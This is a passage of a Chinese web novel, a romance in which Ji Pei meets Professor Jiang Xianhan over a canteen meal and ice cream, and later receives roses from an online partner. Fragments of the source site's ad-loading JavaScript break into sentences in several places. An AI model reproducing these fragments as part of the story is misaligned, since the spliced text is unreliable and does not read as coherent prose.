“我经常去新开的这家食堂,二楼那家湘菜馆好吃得不得了,听说是从湖南花高价请来的大厨。” 见白茵兴致高昂的模样,不知道的还以为湘菜馆大厨是她二姨夫,让她积极踊跃做宣传呢。 还有二十分钟到下课时间,季裴四人上了二楼食堂,白茵把背包里的资料书拿出来,占了一个四人桌,带着另外三人去排队。 江羡寒从来没在食堂吃过饭,正如白茵刚才脱口而出的那样,她很少外食,通常都是在家做饭,享受生活还能锻炼身体。 一股浓郁鲜香的味道扑面而来,季裴狠狠吸了两大口,找到了自己喜欢吃的窗口,站在一群人后面开始排队。 食堂人越来越多,叶文竹走着走着就跟季裴她们走散了。 季裴却一直以为叶文竹站在她身后,她盯着窗口里面的色香味俱全的辣椒炒肉,稍微侧过头。 “文竹,那个小炒黄牛肉看着好好吃啊。” 话音一落,没人理她,季裴还以为叶文竹是在看手机,没功夫搭理她。 终于排到季裴了,她指着菜单说:“阿姨,要那个小炒黄牛肉,辣椒炒蛋,还有糖醋排骨。” 季裴一天没吃东西,从踏进食堂到现在,肚子饿得咕咕叫,差点直不起来腰。 果然人长得好看走到哪都引人注目,食堂阿姨是个社牛,主动搭话,问季裴是几年级的,给她的餐盘盛得满满当当,糖醋排骨都快掉出来了。 季裴笑着掏出手机,准备扫码:“我是……二年级的。” 当她把支付宝打开以后,才发现食堂窗口的二维码不见了。 “阿姨,我没带餐卡,扫码可以吗?” 食堂阿姨见状说:“同学啊,学校出了新规定,以后食堂不提供二维码付款了,一律使用餐卡。” 季裴端着餐盘站在原地不知所措,她透过玻璃看见了身后那一长串队伍,脚趾差点把鞋底抠破一个洞。 昨天还能刷微信支付宝,今天突然就变了,食堂窗口所有的二维码都撤了下去,只剩下了刷卡机。 可是她的餐卡早就不能用了,这下可怎么办。 突然,身后伸出一只骨节分明的手,捏着一张薄薄的餐卡,轻轻擦过季裴的头发,在刷卡机上滴了一下。 季裴瞬间就意识到有好心人帮她刷卡,瘪着嘴感动到差点哭出来。 她猛一回头,对上了江羡寒那双淡淡的眼眸。 “……” 江羡寒什么时候出现在她身后的! 她身后站的人不一直都是叶文竹吗? 叶文竹呢?叶文竹这个家伙跑哪去了! “滴——” 扣款成功。 季裴的心也随着这声响扑腾扑腾跳个不停。 为什么会是江羡寒帮她刷了卡啊! 季裴端着手里的餐盘,浑浑噩噩地对着江羡寒小声说了一句谢谢,低着头转身就跑,回过头的时候还差点撞到隔壁窗口的同学。 新食堂确实非常大,人也很多,熙熙攘攘的,季裴差点就找不到她们之前占的位置。 转了好几圈,季裴端着餐盘手都酸了,总算看见一身紫色上衣,站起来朝她挥手的叶文竹。 江羡寒早就端着餐盘回到位置上了,季裴就像一只无头苍蝇似的,东跑西转,饭都快凉了才找到位置。 她坐在江羡寒身边,那是其他人留给她的座位。 季裴轻轻坐下,放下餐盘,结果一只手被压在下面,一块糖醋排骨骨碌碌掉在了餐桌上。 她本想用纸巾把它包起来,叶文竹却熟练地用筷子夹住,放到了自己的餐盘里。 “别浪费啊,掉桌上不超过三秒捡起来就能吃。” 季裴点点头:“哦。” 她偷偷用余光看了一眼江羡寒的侧脸,见对方正慢条斯理地吃着蔬菜,稍微屏住呼吸视线下移。 江羡寒要了一份番茄炒蛋,还有清炒西兰花,除此之外就没有别的了。 反观自己餐盘里,除了肉还是肉,而且还都满满的,差点溢出来,这给人的印象……不太好啊。 季裴转念一想,就算再不好,也没有昨天发生的事情尴尬。 季裴心想,江羡寒脾气可真好,她昨天刚骗了人家,对方还帮她刷卡。 上学那会儿,自从季裴远离谢贞之后,她就和叶文竹每时每刻形影不离。 每次吃饭,两个人都是一起的,她和叶文竹照例打六份不一样的菜,然后混在一起吃,这样一个人就相当于吃了六样菜。 但是现在…… 当着另外两个人的面,季裴实在是做不出来这种事情啊。 叶文竹没想太多,她用筷子夹了两块季裴的糖醋排骨,放在了自己的餐盘里:“这个排骨好好吃,酸酸甜甜的,你尝尝我这个鱼香肉丝,香得很。” 见季裴没动,叶文竹还以为她是在外矜持的那一类,亲自用筷子夹进季裴碗里。 白茵见状叹了一口气,说:“唉,和自己的小姐妹在一起吃饭,简直是太爽了,平时聊聊八卦什么的。” 叶文竹拿出手机,点开微信二维码,放在白茵面前,说:“学姐,我们加个好友吧,等会儿我把饭钱转给你。” 白茵吃着茄子拌饭连连摆手:“不不不不用,这才几个钱,就当我请你的。” 虽然拒绝了,但是白茵还是加了叶文竹的好友。 叶文竹笑着说:“我是开花店的,学姐你以后想买花就来我家,免费送你!” 白茵笑得眼睛弯弯的:“好啊,有时间我去你的花店逛逛。” 叶文竹边吃边吐槽:“学校怎么回事啊,突然不能扫码了,非要刷卡,幸好我和学姐挨着,要不然我肯定尴尬死。” 一提到这件事季裴就把头埋得更低了,她这顿饭的饭钱还是江羡寒帮忙付的。 叶文竹把目光对准季裴,问:“你的卡不是不能用了吗?你怎么刷的?” 真是怕什么来什么。 季裴恨不得在桌子底下给叶文竹一梭子,让她不要多嘴。 “这是江教授帮我刷的。” 季裴转头看了一眼慢条斯理吃饭的江羡寒,继续说:“江教授,晚餐钱我现在微信转给你。” 叶文竹又做出一副吃瓜的表情,她和白茵对视了一眼,然后用眼神暗示季裴。 季裴看懂了她的暗示,抿了抿嘴唇,眨眨眼睛,然后打开手机。 她给江羡寒的备注叫“魔鬼江”。 一想到江羡寒坐在自己身边,季裴就把手机亮度给调低了。 “江教授,我忘记这份饭是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多少钱了……” 江羡寒用湿纸巾擦了擦淡红色的嘴唇,说:“不用。” 季裴不想欠她的,她发誓以后再也不来A大了,每次来都能碰到江羡寒,两个人仿佛是有什么不解之缘。 “但是……” 江羡寒端起空掉的餐盘就离开了。 白茵见季裴欲言又止的表情,凑到她耳边小声说:“没事,随便刷,江教授这种级别的人物,卡里钱多得用不完,不怕我们刷,就算是给全食堂买单也绰绰有余。” 白茵是江羡寒的助教,帮江羡寒跑腿干这干那,没有功劳也有苦劳。 每天江羡寒都会把自己的职工卡给白茵,让她去食堂吃饭买水,顺便承包白茵的一日三餐。 季裴不太好意思,她也不是那种爱占小便宜的。 她和江羡寒没什么交集,这些钱还是还了比较好。 “但是我跟江教授不熟,以后应该也不会再见面了,我不想欠她的。” 季裴的声音虽然小,但是放完餐盘和筷子,走过来站在她身后的江羡寒还是听见了。 白茵依旧保持着贴过去的姿势,说:“没关系,江教授家里是做珠宝行业的,你们根本想象不到她多有钱。” 叶文竹一听惊讶道:“做珠宝的?那这家里肯定富得流油,不过话又说回来,季裴你是怎么加到江教授微信的?” 季裴心虚地看了一眼白茵,说:“这件事吧……等我回去再告诉你来龙去脉。” 江羡寒见到两人挨得如此之近,镜片下狭长上扬的双眸微微眯了眯,随后轻轻咳嗽了两声。 在听见咳嗽声的那一瞬间,季裴僵硬地坐直了身体,捏着筷子的手微微一紧。 另外两个聊得正开心的人也收敛了笑容,开始埋头迅速吃饭,碗里连一粒米都不剩。 白茵知道,江羡寒最讨厌吃饭浪费的人,之前还特意发表过一篇节约粮食的文献,所以她在江羡寒面前根本不敢浪费食物。 季裴把餐盘里的食物吃得干干净净,又抽出纸巾把桌子擦了一遍,跟着白茵她们把餐盘放到回收处。 这一切动作都被江羡寒看在眼里,她跟着几人从过道上离开,一路上都有人向江羡寒打招呼。 “江教授。” “江教授晚上好。” “江教授也来食堂吃晚饭啊。” 对于这些人的问候,江羡寒都一一礼貌回应,看不出来哪里高傲冷漠。 这和季裴想象中那个冷面无情自命清高的江羡寒,根本不一样,难道学校那些有关对方的传说都是捏造出来的? 食堂一楼奶茶店有卖冰淇淋的,这下不用刷卡,可以用手机支付。 季裴点了四支不同口味的冰淇淋,首先给了白茵一个,然后是叶文竹。 最后一支冰淇淋做的最规范最好看,淡淡的草莓粉色,上面点缀着彩色的糖霜。 季裴捏着它走到江羡寒面前,她莫名其妙觉得这支粉色小甜甜很适合对方。 表面上冷冰冰的,实际上内心…… 季裴猛地一个哆嗦,她是真不敢把粉色和江羡寒的内心放在一块比较。 白茵咬了一口冰淇淋上的糖霜,见季裴把冰淇淋拿给江羡寒,赶紧开口说:“季裴,江教授她不吃外面的冰……” 白茵话还没说完,江羡寒就已经接过了季裴递来的那支粉色草莓冰淇淋。 9. 甜筒 江羡寒捏着冰淇淋,在叶文竹白茵几人的视线下,轻轻咬了一口冰淇淋的尖尖。 又冰又凉,还带着点甜丝丝的草莓清香。 季裴下意识地转过头,总觉得这个时候盯着江羡寒吃东西是一种罪过。 不就是一根冰淇淋么,谁没吃过似的。 虽然她江羡寒吃相优雅又好看,但是季裴也没什么理由一直盯着人家看。 这个时候,她想起了已经把她“打入冷宫”的冬日了,季裴点了一下手机屏幕,对方一整天都没给她发消息,也不知道现在在做什么。 通过冬日之前说的那番话,对方应该不是学生,有可能是A大的工作人员。 一名清洁工扛着扫帚从她身边经过,季裴赶紧摇摇头,心说这怎么可能会是保洁阿姨呢,就算是修电路的也不可能会是保洁阿姨。 季裴本想拿出手机,打开软件看看她和冬日现在的距离有多远,结果手里的冰淇淋化掉了,淅淅沥沥淋了她一手。 叶文竹赶紧掏出纸巾递给季裴,她草草地擦了几下,几口吃完冰淇淋,把包裹甜筒的纸丢进垃圾桶里。 另外两个人都吃完了,只剩下江羡寒手里还捏着半个甜筒。 季裴有时候还挺怀疑,江羡寒是不是寒冰成精,吃得又慢又仔细,为什么冰淇淋到她手里都不化呢。 江羡寒吃冰淇淋,又不是什么名画蒙拉丽莎的微笑,她怎么就觉得这么稀奇呢。 转移目光以后,叶文竹和白茵已经走到学校大门口了。 叶文竹用手肘捅了捅季裴的后腰,贴在她耳边说:“我们去买校门口的炸串,你问问江教授要不要吃?” 季裴一脸愕然,她转头看向正在小口小口咬着冰淇淋的江羡寒,声音放得又轻又小。 “你请客,你怎么不说?非要让我说,叶文竹你安的是什么心?” 叶文竹唇角弯弯:“我那不是为了给你表现的机会嘛,你昨天欺骗了人家感情,今天可不得好好补偿一下。” 季裴震惊:“昨天?你怎么知道昨天发生了什么?” 叶文竹朝着白茵所在的方向努努嘴:“白茵告诉我的,她说你替季繁上课,被江羡寒给抓了个正着,扣光了所有的平时分,当场挂科。” 季裴忍不住想跟她讲道理:“什么叫当场挂科,我是被她叫进办公室以后才……” 话还没说完,江羡寒就走了过来。 叶文竹见状撒腿就跑,跑到了烧烤摊排队,跟白茵站在一起窃窃私语,时不时地把目光抛向这边。 季裴气得咬牙切齿,叶文竹本来就是个不靠谱的,没想到今天更是狠狠给她上了一课。 “江教授,白茵学姐和文竹在买炸串,您要吃吗?” 季裴还是鼓起勇气,朝着江羡寒说出了这样的话,不过她的内心还是觉得,像江羡寒这种不食人间烟火的高岭之花,应该不会吃这种路边摊吧。 果不其然,季裴听见江羡寒说:“我不吃路边摊。” 季裴点点头,拿出手机说:“好,那我给文竹发消息。” 这几天降温,季裴身上穿了一件米白色的外套,她编辑了一段话给叶文竹发过去,一转身就撞到了什么东西。 回头一看,是江羡寒手里那半个没吃完的草莓甜筒,上面冰凉融化掉的冰淇淋,毫无保留地全捅在了她的袖子上。 两人皆是一愣,江羡寒轻轻将手收了回来,一脸歉意地说:“不好意思,我刚才没看清路。” 季裴自认倒霉,她拿出叶文竹之前塞给她的几张纸巾擦了擦,笑着说:“没事的江教授。” 江羡寒盯着季裴袖子上那一大片粉色的污渍,说:“你先脱下来吧,我把衣服洗干净给你送过去。” “……” 季裴一度以为自己听错了,脑电波接收错频,她轻轻眨了眨眼睛,总觉得眼前这个江羡寒是被夺舍了。 “不……不用了江教授,我回去丢洗衣机里转一下就好了。” 江羡寒依旧固执道:“是我不小心弄脏了你的衣服,我就应该给你洗干净。” 季裴注视着江羡寒专注的眸子,这才发现对方并不是在开玩笑。 但是……但是她怎么能让江羡寒帮她洗衣服呢,虽然说这件外套确实是对方弄脏的。 不过很快,当她对上江羡寒的眼睛之后,就鬼使神差地点了点头。 虽然已经入秋了,B市的温度还是没怎么降下去。 季裴里面穿的是粉色的兔子睡衣,后背上还带着两只缝上去的兔耳朵,她只在家里穿,出门丢垃圾都要穿个外套挡住。 这件睡衣还是季繁买的姐妹款,非要让她穿,还必须每天都要穿着睡觉。 季裴走之前懒得换衣服,心想只是来学校随随便便吃个饭,吃完就回去了,干脆在外面披了一件外套。 江羡寒继续说:“那你把外套脱下来吧,你穿这么厚不热吗?” 她从今天下午就开始疑惑,满大街都是穿着短袖的人,季裴却格格不入,穿着一件米白色外套。 季裴扭扭捏捏地把胸前的扣子一颗颗解开,动作慢得仿佛按下了零点五倍速键。 “我不是很热。” 等她把衣服脱下来以后,江羡寒总算知道季裴为什么那么扭捏了。 叶文竹和白茵在校门口小吃摊那边买烧烤,没有注意到这边发生的事。 等叶文竹捏着烤鱿鱼回来以后,才发现季裴身上的外套不见了,里面穿着粉色的兔子睡衣。 江羡寒目光落在季裴睡衣后背上的那两只兔子耳朵,总算知道为什么对方跟她软磨硬泡那么久,就是不肯当着她的面脱衣服了。 原来她是在自己面前害羞。 不过这两只兔耳朵还是挺可爱的,粉粉嫩嫩的,就像季裴因为不好意思而涨红的脸颊。 江羡寒抱着季裴的上衣,随手将它折好,塞进了自己的手提包里。 季裴背对着江羡寒,接过叶文竹递过来的烤串,泄愤一般狠狠咬了一口。 嘎嘣一下,她把竹签给咬断成两截了。 叶文竹诧异道:“季裴,你的衣服呢?” 她一只手揪着季裴后背的兔耳朵,一边把鱿鱼往嘴里送。 季裴支支吾吾了一会儿,最后还是江羡寒帮她回答了这个问题。 “在我这里。” 叶文竹脸上的震惊更大了,她勾着季裴的手臂,把人带到自己身边,贴着她的耳朵说:“你不是说你有网恋对象了吗?你为什么要把外套给江羡寒,你这个花心的女人。” 季裴:“……” 懒得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 解释。 天色渐渐发黑,江羡寒离开了学校,只剩下季裴三人站在林荫道上。 明天周六不上课,白茵不想那么早回家,干脆带着刚认识的两个好朋友去KTV玩一玩。 季裴倒是没什么事,她参加的艺术展下周四才开始。 叶文竹给陈莹莹打了个电话,说自己今天晚上晚点回去,让她看着店,就坐上了白茵的车。 季裴坐在副驾驶,一路上三人都在聊着和江羡寒有关的事迹。 白茵只要一提起江羡寒,满眼都冒着小星星,怎么看怎么像是江羡寒的死忠粉。 “你们不知道,江教授人真的很好,虽然严厉了点。” 季裴喝着牛奶,忍不住拆穿:“我听说她在辅导你研究生功课的时候,吃了一学期的降压药。” 白茵支支吾吾地说:“没有的事……” 叶文竹一副看破不说破的表情,坐在后座上吹着夜风。 “但是江教授真的是个好人,我上不起学,还是她资助的我。” 白茵的眼睛里闪烁着星星,望着前方一脸憧憬:“当年我家里穷,我爸妈不打算让我读高中,是她资助我继续读下去。” “后来我考上了A大,就是因为她才选了哲学。” 没想到这其中还有这样一段往事,季裴对江羡寒的印象越来越好,她回想起自己当时跟冬日吐槽对方,瞬间一阵心虚。 她打开软件,点进去和冬日的聊天框,发现对方三十分钟前给她发了消息。 冬日:【我到家了】 季裴看了一眼两人的距离,两百多公里,对方应该是已经在家里了。 季风:【我和朋友一起去KTV唱歌,你想听什么歌,我隔着手机唱给你听】 冬日:【你唱什么都好听】 季裴心满意足地笑了笑,真会说话。 和冬日聊了一会儿,季裴打开微信,点进朋友圈里,把那几个小红点清除掉。 点进去的一瞬间,她发现江羡寒又发了朋友圈。 江羡寒的半个身体出境,手里拿着一只洒水壶,正在给一株文松浇水。 她的手指修长白皙,在暖黄色灯光之下,仿佛柔润漂亮的象牙雕。 季裴脱口而出:“江教授是有专门的拍照团队吗,你看她朋友圈,拍照构图什么的太好看了。” 白茵一脸懵:“什么?江教授发了朋友圈?我怎么没看见?” 季裴把屏幕放到白茵面前,指着江羡寒昨天发的那张朦胧的照片,说:“你看,她刚才发的。” 白茵的眼睛瞬间就变大了,她用手背揉了揉,打开自己的微信,点到江羡寒的主页,一个朋友圈都没有。 “我朋友圈真没有她发的照片!” 她不敢相信地点进去又退出来,重复了不知道多少次循环,在发现了这个残酷的现实之后,白茵哭丧着脸。 “江教授发朋友圈居然屏蔽我,难道我不是她最爱的学生了吗?” 季裴也没想到这对师生之间的关系居然如此复杂,白茵也没有做什么穷凶极恶的事情吧,为什么江羡寒会发朋友圈屏蔽她呢。 她拍了拍白茵的肩膀,安慰说:“没事,就凭江教授默不作声吃降压药不让你发现的份上,已经说明她足够爱你了。” 10. 爱人 季裴坐在叶文竹的小电驴后座上,被对方载回了家。 走到小区楼底下,她正准备扫脸进家门,却发现身后跟了一个一身黑色卫衣的长发女孩,也跟着她一起走了进来。 季裴没想太多,还以为是同一个小区的业主。 她打开手机给冬日发消息,边走边发语音,发过去一条,那条下面就显示已读。 晚上十点,看来冬日现在还没睡,那她又可以回去煲电话粥了。 黑卫衣的女孩一直跟在季裴身后,她拐弯,对方也拐弯。 季裴用余光悄悄地看了她一眼,总觉得哪里不太对劲,这个人似乎是在跟踪她。 想到这里,季裴背后一阵冷汗袭来,她加快了脚步,试图在转弯处把对方给甩掉。 太可怕了。 季裴在上楼之前,拿出手机准备报警。 这个时候,身后的女孩也跟着她一起上了电梯。 两个人站在宽敞明亮的电梯中,季裴回过头一看,在和对方四目相对的那一瞬间,稍微吃惊了一下。 这么好看的女孩,怎么可能会是变态跟踪狂呢。 黑卫衣女孩察觉到季裴在观察她,不大好意思地把帽檐往下拉了拉,捏紧了手里的提包,抿着嘴唇把目光转移到别的地方去。 季裴悬着的心终于放了下去,她松了一口气。 电梯门打开后,季裴走了出去,结果没想到黑衣女孩也跟着一起出去了。 季裴的心又悬了起来,她一脸警惕地盯着身后的黑衣女孩,说:“你也住在九楼?” 女孩摇摇头,解释说:“我是过来找朋友的。” 季裴心中疑云重重,既然是过来找朋友,那为什么她的朋友不下来接她上去。 季裴住的小区是有门禁的,就连电梯都要刷门禁卡,如果真是来找朋友,她的朋友总不可能丢下她不管吧。 “找朋友?你朋友也住九楼?” “是啊,她之前告诉过我地址,我就找过来了。” 季裴摩挲着下巴,继续问:“既然这样,你为什么不给她发消息,让她来接你?” 女孩小声说:“我没有她的联系方式……” 可疑,实在是太可疑了,这个女孩说的话不能信。 季裴发誓再问最后一次:“那你是来干什么的?我住九楼,她跟我应该是邻居吧。” “她的衣服落在我这里了,我就是给她送过来,没别的意思。” 黑衣女孩盯着自己的脚尖看,没有注意到季裴眸子里一闪而过的八卦情绪。 “……” 黑卫衣,红色鸭舌帽,再加上她刚才说的那句话,她是来给朋友送衣服的,不禁让季裴想入非非。 “你找的那个人叫什么名字啊,说不定我还认识呢。” 女孩听到这番话,眸子里瞬间变得亮晶晶的。 “她叫季繁。” 季裴抿着唇差点笑出声音来,她轻轻咳嗽了两声。 “季繁啊,我认识,你等着,我给她发消息。” “不……不用了!” 女孩结结巴巴开口:“我就是来还衣服的,送给她我就走,她并不想见我。” 季裴明知故问:“不想见你?为什么?” “这个……这个……” 女孩支支吾吾了一会儿,把手提袋递给了季裴,说:“姐姐,你可不可以帮我把衣服还给她呀?” 季裴一脸诧异:“怎么,你大老远跑过来,不想见见她?” “我不小心惹她生气了,还是等她消气了再见吧。” 季裴接过女孩的手提袋,点点头说:“那好,我帮你把衣服还给她。” 女孩感激不尽:“好,谢谢你。” 她说完就按开了电梯门,进电梯之前还一个劲儿地说着谢谢。 等到电梯门关闭后,季裴勾了勾唇角,露出一个高深莫测的笑容。 看来这个女孩就是昨天季繁去见的网恋对象。 在不经意间,季裴已经把女孩从上到下都打量了一遍。 身材不错,腰细腿长,脸长得跟明星似的,有问必答,还非常有礼貌懂规矩,看着像是个靠谱的人。 总之,季裴对这个顾年的第一印象还是很不错的。 她提着手提包,输入密码,借着灯光一看,顾年用来装季繁衣服的袋子,居然是香奈儿的手提袋,好几个W的那种。 季裴轻轻地叹了一口气,走到客厅的那一瞬间,差点被那束巨大无比的玫瑰花给吓一跳。 季繁就坐在玫瑰花面前,和雪媚娘玩手拍手的游戏。 她见到季裴回来后,站起来说:“姐姐,今天晚上有人送来了一束玫瑰花,我替你签收了。” “这是谁送来的?有名字吗?” 季繁摇摇头:“不知道,估计是人家给你的惊喜吧,我害怕煤球它们把花弄坏,就坐在这守着。” “你怎么不给我打电话啊?” “都送玫瑰花了,肯定是惊喜啊,我给你打电话,不就把惊喜给破坏了?” 季裴用手指了指季繁:“你这个……” 她把手提袋递给季繁:“给你,这是一个女孩让我交给你的,打开看看里面是什么吧。” 季繁一脸疑惑地接了过去,在看见那件熟悉的外套后,咬着下嘴唇,语气生硬:“这是那个人给你的。” 季裴站在她身后:“什么叫那个人,人家有名字,叫顾年。” 季繁拿出衣服,把手提袋丢给季裴。 季裴低头一看,里面还有一封信,赶紧拿出来:“还有这个,别忘了,赶紧打开看看。” 季繁一把抢过那封信,转过头就走,嘴里还小声嘟囔着:“都什么年代了还写信,土包子……” “……” 简直是从小被她给惯坏了。 季裴懒得理她,她走到玫瑰花前,发现有好几朵都遭到了摧残,不知道是被哪个顽皮的小家伙咬的。 两猫一狗安安静静地蹲在一旁,季裴一看就知道这三个家伙已经被季繁给“教育”过了。 这束玫瑰被摆成了一副爱心,最中间放了一张卡片,署名是冬日。 季裴曾经收到过不少这样的花,上面的名字五花八门,她还是第一次见到这么好看的笔迹。 之前很多她的追求对象会在叶文竹的花店里买花,绝大多数都是让叶文竹代笔写卡片。 每一次叶文竹都会打电话偷偷告知她,让她做好心理准备。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 可是这一次…… 季裴却仿佛第一次收到玫瑰花似的,露出了一个略带羞涩的笑容。 她坐在这束花面前,双颊透着淡淡的红色,似乎是被玫瑰花的火红给映照出来的。 季裴摸了摸脸,又热又烫。 她拿出手机给冬日发消息,原本是想打字发过去,可没想到很快就收到了来自冬日的电话。 “喂。” 季裴打开冰箱,拿出一瓶威士忌,来到小吧台前坐着,给自己调了个深蓝色的鸡尾酒。 “玫瑰花收到了吗?” 冬日的嗓音一出,季裴浑身上下都酥酥麻麻的。 她趴在吧台上,盯着调制出的鸡尾酒,嗓音听起来哑哑的。 也许是因为今天在KTV唱歌用力过猛,也许是因为那束玫瑰花,和电话这头的冬日。 “收到了。” 季裴喝了一口略带着点甘甜的酒,一手托着下巴,不解道:“不过,你为什么要送我玫瑰花啊?” 冬日的语气含着愉悦轻快:“我送我爱人玫瑰花不行么?” 爱人。 季裴浑身上下的鸡皮疙瘩都起来了,她不自然地吞了吞口水,就连呼吸都有些失控。 她现在的状况像假酒喝多了。 呼吸急促,心跳加速,手脚发麻。 该不会是酒精中毒吧。 季裴磨磨牙齿,可恶的威士忌! 她的酒量一直不怎么样,稍微喝点酒就微醺了。 季繁出来拿牛奶,看见季裴亮着手机,趴在吧台上喝着闷酒,忍不住走了过去。 “姐姐?你怎么回事?有人送花你怎么还一副失恋的样子?” 季裴眼梢仿佛用手指抹了一袭胭脂似的,又红又艳。 眸子里还带着淡淡的水汽,斜斜盯着季繁看,威胁性地咬牙说:“大人的事小孩别管,回你房间去。” 冬日听见了两人的对话,问:“刚才是谁和你说话?” “我妹妹,就是我昨天跟你说的,那个非要让我替她上课,结果挂科的倒霉孩子。” 季裴嗓音里透着点愉悦:“亲爱的,我跟你说。” 冬日轻轻地嗯了一下。 “就是,我妹妹那个选修课教授,我今天跟她一起吃饭,发现这个人……” 季裴顿了一下,努力在被酒精熏陶过的大脑中搜寻出一些恰当词汇。 冬日:“她怎么样?” 对方的语气似乎带着点急切和期盼的意味,不过季裴有点醉,没听出来。 “我没卡,她帮我刷了卡,人还怪好的呢。” 冬日:“她帮你刷了卡?” 季裴:“是啊,我走之前请她吃了冰淇淋,她助教还说她不吃冰淇淋,我才不信呢。” “那你什么时候也请我吃冰淇淋啊?” 季裴微眯着眸子,盯着亮起来的手机屏幕:“那你什么时候能让我见一见呀?” “我最近比较忙,下个月过来找你。” “这可是你说的,一言为定啊,你下个月要是不来,我可就要移情别恋了。” 冬日语重心长道:“你现在是有家室的人了,出门在外不要和其他女人走得太近,男人更不行。” 11.趁机 周末这两天,季裴无事可干,在外面遛了半天的狗。 季裴家的狗是一只黄色金毛,半年前季繁下雨天从垃圾堆里捡来的。 当时它断了一条腿,躺在一堆脏臭垃圾里哀嚎着,奄奄一息。 因为季繁,它捡回了一条命。 它身上的毛金黄金黄的,看着又奶又可爱,不过非常聪明,鬼点子一套一套的。 更是有一次无师自通打开了零食柜,偷吃了一整箱的蛋黄派,撑得趴在地上动不了。 季裴回家的时候,看着满地狼藉残渣,还以为它被撑死了。 后来它就有了一个新名字,叫蛋黄派。 季裴最近进了小区的养狗群,每次出去遛狗,她家的蛋黄派总是最积极最热情的那个,见到个人就想扑上去。 微信群聊里发了一段视频,季裴是第一个被@的人。 她点开一看,戴着粉黄色小鸭口水巾的一只金毛,嘴里叼着绳子,在没有主人的情况下自己遛自己。 被@以后,视频下面许多群友七嘴八舌发消息。 【这是季裴家的蛋黄派吧,怎么自己跑出来了】 【我上次还见它买菜拿快递呢,比我老公能干】 【孩子上的什么学校,把我儿子也送去进修一下,最近有点管不住了】 【这只金毛成精了,还会自己遛自己,跟我家边牧一个心眼子】 说这话的群友特意@了一下季裴:【改天牵出来交个朋友吧】 季裴翻了一眼群消息,拉着狗绳,把正在刨土的蛋黄派揪了过来,照着狗头拍了两下。 “胆子肥了是吧,趁我不在家偷偷开门跑出去。” 蛋黄派斜着眼不敢看季裴,狗脸上写满了心虚。 如果不是管理员@她,季裴还不知道这只狡猾的狗子偷跑出去了。 季裴拿出手机,伸出一根手指,指着蛋黄派的头,抓拍到了一张闪躲的狗脸照。 她编辑了一下朋友圈,把这张照片放上去,还带了一张前几天被蛋黄派咬成新物种的拖鞋。 【洗锅烧水涮狗肉】 季裴把朋友圈发出去以后,几分钟的时间就收到了一致赞同。 她把朋友圈放到蛋黄派面前,抓着狗头说:“看见没,再有下一次,就把你这身毛给剃了。” 蛋黄派呜咽两声,趴在地上耷拉着脸。 大学微信班级群这几天活络了起来,大概都是因为下个月谢贞组织的同学聚会。 季裴对群聊一点都不感兴趣,她连班里有多少人都不知道,更别说记住他们的名字了。 群里除了谢贞,还有另外两三个人天天发消息,不是晒包就是晒首饰。 季裴之前给宝格丽做过一段时间的产品设计,一眼就看出来她们晒的图是高仿,还是P过的。 这个世界上,不识货的人还是挺多的,就比如季裴之前那个同寝室的舍友冉菲菲。 冉菲菲:【这个包是香奶奶的哎】 冉菲菲:【宝格丽项链,我无业游民,送我】 她发完消息都没人理。 季裴皱紧眉头,她从大一开学那天,就感觉这个人不太对劲。 冉菲菲太热情了,热情得有些过头,季裴根本招架不住,遂决定敬而远之。 后来相处时间久了,她发现这个人是真不跟她们见外,总是莫名其妙地跟她攀关系,尤其是当谢贞竞选完班长后。 她之前匿名举报季裴奖学金有水分,结果被季裴和叶文竹套话套了出来,气急败坏之下跟两人撕破了脸,最后搬到了别的宿舍。 后面好像是因为手脚不干净,偷东西之类的,被学校给予警告处分,差点退学。 再后来,季裴就没关注过这个人了,结果没想到现在居然跑到了微信群里刷存在感。 季裴是个强迫症,最见不得微信朋友圈那些红点了。 她点进去看了一下,除了其他好友的点赞评论,最多的还是她刚才发的。 而且…… 季裴眯了眯眼睛,发现江羡寒居然给她点赞了。 这不科学吧。 · 季裴和冬日煲了一上午的电话粥。 她坐在公园湖边的长椅上吹着风,等狗头使劲儿蹭过来的时候,她才想起自己忘记给蛋黄派弄午餐了。 “我现在呢,要回家给我的狗准备午餐。” “你养狗啊?” “是啊,我之前不是跟你说过,我家有一只贼贪吃的傻狗,心眼子比大学生还多。” 冬日笑了笑,说:“我有一只杜宾,现在在我妈那养着。” “杜宾哎!” 季裴每次看视频都觉得杜宾又酷又帅,想养一只,但是家里有蛋黄派这条贪吃狗就已经够伤脑筋了,实在不敢养第二只。 “你很喜欢杜宾犬?” “对啊,超级酷,像个大佬。” 季裴转头看着使劲儿在前面扯着绳子往家赶的蛋黄派,一见到这副没出息的样子就咬咬牙。 冬日轻柔的笑声从听筒传出:“你家的金毛也很可爱。” 季裴被蛋黄派拖拽着回家,下意识追问了一句:“你怎么知道我养的是金毛啊?” “你之前告诉过我啊,你忘记了吗。” “嗷,那应该就是我忘了,我家这毛孩子猴急,急着赶回家吃饭,我先把电话挂了。” “嗯。” · 两猫一狗飞快地朝着餐盆飞奔而去,季裴躺在沙发上呼出一口气。 “总算是让你们吃上了,看你们一个个饿的,两分钟没吃饭了吧。” 雪媚娘抽空喵了一声,另外两个饭桶咣当咣当舔着饭盆,恨不得一口全部吞完。 马上到月底了,季裴微信里那些租客们开始断断续续地交房租。 季裴算是个富三代,她爷爷奶奶年轻那会儿就开始在市中心买地盖房子。 后来房子拆迁,两口子拿了一笔天价拆迁款,开始搞投资当老板,现在退休了还没闲着,搬到比利时做巧克力去了。 季裴其实不需要工作,她每个月光是收房租,就能重新在二环内买一套房。 不过,作为季裴租户的前提是,必须是女的。 之前有一个男租客,到了月底交不起房租,竟然给季裴发裸/照,还说要用身体来抵扣租金。 季裴当即就报了警,把男人赶了出去,从此以后发誓再也不招男租客。 那个租客走后,房子里又脏又臭,季裴重新装修了一遍,换了套新家具。 房租陆陆续续通过季裴的百人大群里转了过来,她挨个接收。 看了一下现在的房价,季裴觉得房租确实有点贵了,于是在群里发了一条消息,给她们降了一千的租金。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>几个嘴甜会办事的女租客准备请季裴出去吃饭,季裴婉拒了,说下次。 她觉得房东和租客之间还是要有点边界感的。 江羡寒发来了消息。 